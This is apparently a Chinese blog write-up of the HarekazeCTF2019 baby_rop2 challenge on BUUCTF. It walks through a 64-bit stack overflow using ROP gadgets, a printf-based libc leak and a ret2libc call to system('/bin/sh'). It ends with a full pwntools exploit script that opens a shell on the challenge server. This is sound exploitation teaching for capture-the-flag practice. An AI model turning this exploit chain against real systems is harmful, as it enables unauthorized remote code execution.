[HarekazeCTF2019]baby_rop2

题目附件

步骤:
例行检查,64位,开启了nx保护

运行了一下程序,了解大概的执行情况

64位ida载入,shift+f12检索程序里的字符串,没有发现可以直接利用的,从main函数开始看程序

利用思路:

  1. 程序很简单,buf的大小是0x20,但是读入的时候读入的是0x100,会造成溢出,我们要想办法覆盖返回地址为” system(‘/bin/sh’)“,那样在执行13行语句的时候,程序回去调用我们布置好的栈,从而得到shell
  2. 但是程序里没有现成的system(‘/bin/sh’),这需要我们去自己去构造,这边可以利用read函数,去泄露程序的libc基址,然后去获得system和/bin/sh字符串的地址
  3. 然后造成溢出,将返回地址覆盖为system(‘/bin/sh’)

利用过程

一、 泄露libc基址
由于是64位程序,传参的时候需要用到寄存器
printf函数的原型int printf( const char* format , [argument] ... );
举个例子–>print(’%s’,‘hello world’)
大概就是这样的用法,这边有两个参数要设置,所以我们要找到设置rdi,rsi寄存器的指令

ROPgadget --binary babyrop2 |grep "pop rdi"


rdi_addr=0x400733

ROPgadget --binary babyrop2 |grep "pop rsi"

没有直接设置rsi寄存器的指令,这边后面还跟着一个r15,无所谓了,不用r15,给他随便设置一下就好了,我这边设置的0
pop_rsi=0x400731

我们首先要设置第一个参数,就是带有类似于%s这种格式的字符串,我这边是使用的程序里自带的语句

format_str=0x400770

一开始是打算输出printf的got表地址的,

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(printf_got)+p64(0)+p64(printf_plt)+p64(main_addr)

但是在调试的时候发现没法使用,就换成了read函数的got表地址了

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_addr)

解释一下这句payload的意思

  1. ‘a’*0x28–>造成溢出,覆盖到了返回地址
  2. p64(pop_rdi)+p64(format_str)–>我们在原本语句的返回地址上写入了pop_rdi,ret,pop_rdi,对应参数format_str,执行后将formast_str的值设置给了rdi,之后执行ret(返回指令)
  3. p64(pop_rsi_r15)+p64(read_got)+p64(0)–> 我们将2中的ret写成了pop_rsi,pop_r15,ret;执行指令pop_rsi对应参数read_got,将rsi寄存器的值设置成了read函数的got表地址,pop_r15对应参数0,由于我们不用r15,随便设置一下它,我是设置成了0
  4. p64(printf_plt)–>将3中的ret设置成printf函数的plt表地址,实际上就是printf函数的地址,去执行printf函数,输出我们设置的read函数的地址
  5. p64(main_addr)–> 在完成第一次利用后,得到了程序内read函数的地址,知道了libc基址,我们需要重新回到程序开头,再次利用这个输入点去写入system‘(/bin/sh)’

接收输出的read函数地址
我平常是这样写的,但是这题这样写得到的read函数地址不对

read_addr=u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))

看别人的wp都是这样写的

read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

问其他师傅是这样给我解释的:
接收地址的你看看基本上都是7个字节的,7f开头,补全8个字节
奇怪的知识又增加了
在得到read函数地址后,就可以得到libc版本和这个程序的偏移量了

libc = LibcSearcher('read', read_addr)  #利用libcsearcher库去查找匹配的libc版本
libc_base = read_addr - libc.dump('read') #计算程序里的偏移量

二、计算程序里system和/bin/sh的地址

sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

三、覆盖返回地址位system(‘/bin/sh ’)

payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)

完整EXP:

from pwn import *
from LibcSearcher import *
context.log_level = 'debug' #p = process('./babyrop2')
p = remote('node3.buuoj.cn',28485)
elf = ELF('babyrop2') pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
format_str = 0x0000000000400770
ret_addr = 0x0000000000400734 printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main'] payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt) p.recvuntil("name? ")
p.sendline(payload) read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(read_addr)
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read') sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh') payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()

得到shell后利用find -name ”flag“ 去找到flag文件的位置

最后读出flag

[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2的更多相关文章

  1. [BUUCTF]PWN17——[HarekazeCTF2019]baby_rop

    [BUUCTF]PWN17--[HarekazeCTF2019]baby_rop 附件 步骤: 例行检查,64位,开启了NX保护 试运行一下程序,看这个情况,当我们输入太长字符串的时候会报错 64位i ...

  2. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  3. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  4. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  5. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  6. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  7. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  8. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  9. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

随机推荐

  1. [CF707 Div2, A ~ D]

    (相信进这个博客的人,都已经看过题目了,不再赘述) 这把打小号打到了\(484\),\(rating + 636\) \(A\) 考虑进行模拟就行了,说白了这是一个英语阅读题 // code by D ...

  2. Codeforces 1500E - Subset Trick(线段树)

    Codeforces 题目传送门 & 洛谷题目传送门 一道线段树的套路题(似乎 ycx 会做这道题?orzorz!!11) 首先考虑什么样的 \(x\) 是"不合适"的,我 ...

  3. EXCEL-如何在excel中对图片进行批量排版

    新建EXCEL->导入图片->如果每张图高度为33个单元格,共计10张图,那么将最后边的那张图(即正对着你的那一张)剪切粘贴到33*9行第一个单元格处->按F5定位"对象& ...

  4. SIG -MESH -1

    协议栈    node:成为蓝牙mesh网络中一员的设备被称为节点(Node). 蓝牙mesh规格定义了节点可能拥有的特性.具有这些特性中的一个或多个,即表示节点可以在网络中扮演相应的特殊角色.定义的 ...

  5. javaSE中级篇2 — 工具类篇 — 更新完毕

    1.工具类(也叫常用类)-- 指的是别人已经写好了的,我们只需要拿来用就行了 官网网址:Overview (Java Platform SE 8 ) (oracle.com) ---- 但是这个是英文 ...

  6. 学习java的第十五天

    一.今日收获 1.完成了手册第二章没有验证完成的例题 2.预习了第三章的算法以及for语句与if语句的用法 二.今日难题 1.验证上出现问题,没有那么仔细. 2.第二章还有没有完全理解的问题 三.明日 ...

  7. 『学了就忘』Linux文件系统管理 — 67、通过命令模式进行LVM分区

    目录 1.物理卷管理 (1)准备硬盘或者分区 (2)建立物理卷 (3)查看物理卷 (3)删除物理卷 2.创建卷组 (1)建立卷组 (2)查看卷组 (3)增加卷组容量 (4)减小卷组容量 (5)删除卷组 ...

  8. Qt——error之undefined reference to `vtable for classname

    可能原因:自定义类中使用自定义槽和信号,但是没有在类中增加Q_OBJECT, 解决办法:在类中增加Q_OBJECT,删除编译产生的文件进行重新编译 具体原因分析如下 博主原文

  9. Linux基础命令---mysqlshow显示数据库

    mysqlshow mysqlshow是一个客户端的程序,它可以显示数据库的信息.表信息.字段信息. 此命令的适用范围:RedHat.RHEL.Ubuntu.CentOS.Fedora.   1.语法 ...

  10. Linux基础命令---mysql

    mysql mysql是一个简单的sql shell,它可以用来管理mysql数据库. 此命令的适用范围:RedHat.RHEL.Ubuntu.CentOS.Fedora.   1.语法      m ...